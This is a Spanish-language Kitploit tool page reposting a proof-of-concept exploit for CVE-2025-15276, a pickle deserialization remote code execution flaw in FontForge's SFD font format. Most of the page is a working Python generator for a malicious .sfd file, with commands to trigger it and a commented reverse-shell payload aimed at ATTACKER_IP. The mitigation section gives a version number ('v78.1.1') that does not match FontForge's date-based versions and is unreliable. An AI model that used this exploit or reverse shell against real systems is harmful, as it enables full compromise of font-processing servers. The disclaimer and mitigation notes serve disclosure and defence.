Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-15276-poc — Prueba de concepto para CVE-2025-15276 - FontForge SFD File Parsing Deserialization of Untrusted Data Remote Code Execution Vulnerability | Kitploit
Herramientas/GitHubGitHub/ahmedreda38/cve-2025-15276-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónHerramienta de Acceso RemotoExplotación de Binarios
GitHubahmedreda38/cve-2025-15276-poc

CVE-2025-15276-poc

Prueba de concepto para CVE-2025-15276 - FontForge SFD File Parsing Deserialization of Untrusted Data Remote Code Execution Vulnerability

Ver Repositorio
23hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-15276: Deserialización Insegura de PickledData en FontForge SFD (RCE)

Descargo de responsabilidad

Esta Prueba de Concepto (PoC) es únicamente para fines educativos y auditoría de seguridad. El autor no se responsabiliza por el mal uso de esta información. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtenga permiso explícito antes de realizar pruebas de seguridad en cualquier sistema.


Resumen de la Vulnerabilidad

CVE-2025-15276 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en FontForge (versiones hasta e incluyendo 20230101). La falla existe en el análisis del formato Spline Font Database (.sfd), específicamente dentro del campo PickledData.

Detalle Técnico

El formato SFD de FontForge permite el almacenamiento de diccionarios persistentes de Python utilizando la palabra clave PickledData. Cuando se carga una fuente, FontForge extrae esta cadena y la pasa directamente a la función de Python (o una rutina de deserialización interna equivalente) sin ninguna sanitización ni sandboxing.

pickle.loads()

Debido a que el módulo pickle de Python es inherentemente inseguro y permite la reconstrucción arbitraria de objetos, un atacante puede usar el método __reduce__ para ejecutar comandos arbitrarios del sistema con los privilegios del usuario que ejecuta FontForge.


Pasos de Reproducción

1. Requisitos

  • FontForge vulnerable: Versión 20230101 o anterior.
  • Python 3.x: Para generar la carga maliciosa.

2. Generar el Archivo SFD Malicioso

Utilice el siguiente script de Python (gen_poc.py) para crear un archivo exploit.sfd. Esta PoC está configurada para crear un archivo en /tmp/pwned como un indicador seguro de compromiso (IoC).

root@kitploit:~
import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. Desencadenar la Vulnerabilidad

La vulnerabilidad se puede desencadenar simplemente abriendo el archivo con FontForge.

Opción A: Carga estándar GUI/CLI

root@kitploit:~
fontforge exploit.sfd

Opción B: Interfaz de Scripting de Python (Común en canalizaciones automatizadas)

root@kitploit:~
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. Verificación

Verifique si se ejecutó el comando:

root@kitploit:~
ls -l /tmp/pwned

Impacto en Entornos Automatizados

Esta vulnerabilidad es particularmente peligrosa en canalizaciones de procesamiento de fuentes (por ejemplo, convertidores de fuentes basados en web o scripts de validación automatizados) que utilizan FontForge en el backend para procesar archivos subidos por el usuario. Si el script del backend llama a fontforge.open() en un archivo .sfd no confiable, el atacante obtiene el control total del servidor de procesamiento.


Mitigación

  1. Actualizar FontForge: Actualice a la versión más reciente (v78.1.1 o posterior), donde estas rutas de deserialización insegura han sido parcheadas o restringidas.
  2. Sanitizar Entrada: Si está construyendo herramientas que utilizan la API de FontForge, valide estrictamente el formato del archivo antes de procesarlo y nunca permita el procesamiento de archivos .sfd de fuentes no confiables.
  3. Sandboxing: Ejecute las tareas de procesamiento de fuentes dentro de un contenedor con pocos privilegios (por ejemplo, Docker) o una sandbox restringida para limitar el impacto de un posible compromiso.

Referencias

  • CVE-2025-15276 NVD Entry
  • Zero Day Initiative (ZDI) Report
  • FontForge GitHub Repository
Descargar herramienta